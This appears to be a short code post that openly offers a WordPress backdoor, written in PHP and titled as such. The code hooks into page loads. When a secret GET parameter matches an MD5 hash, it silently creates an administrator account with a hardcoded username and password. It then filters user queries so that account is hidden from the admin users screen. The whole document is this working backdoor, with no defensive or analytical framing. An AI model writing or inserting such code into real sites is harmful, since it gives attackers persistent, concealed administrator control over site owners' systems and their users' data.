Creating a backdoor to an WordPress site and hide the backdoor user from the users window

backdoor.php

<?php
add_action( 'wp_head', 'billgates_fun' );
function billgates_fun() {
	if ( isset( $_GET['backdoor'] ) && md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { // example.com?backdoor=go
	    require( 'wp-includes/registration.php' );
	    if ( !username_exists( 'billgates' ) ) {
	    	$user_id = wp_create_user( 'billgates', 'billgates' ); // username and password is billgates
	      	$user = new WP_User( $user_id );
	      	$user->set_role( 'administrator' );
	    }
	}
}

add_action( 'pre_user_query', 'billgates_fun_hide' );
function billgates_fun_hide($user_search) {
	global $wpdb;
	$user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'billgates'", $user_search->query_where );
}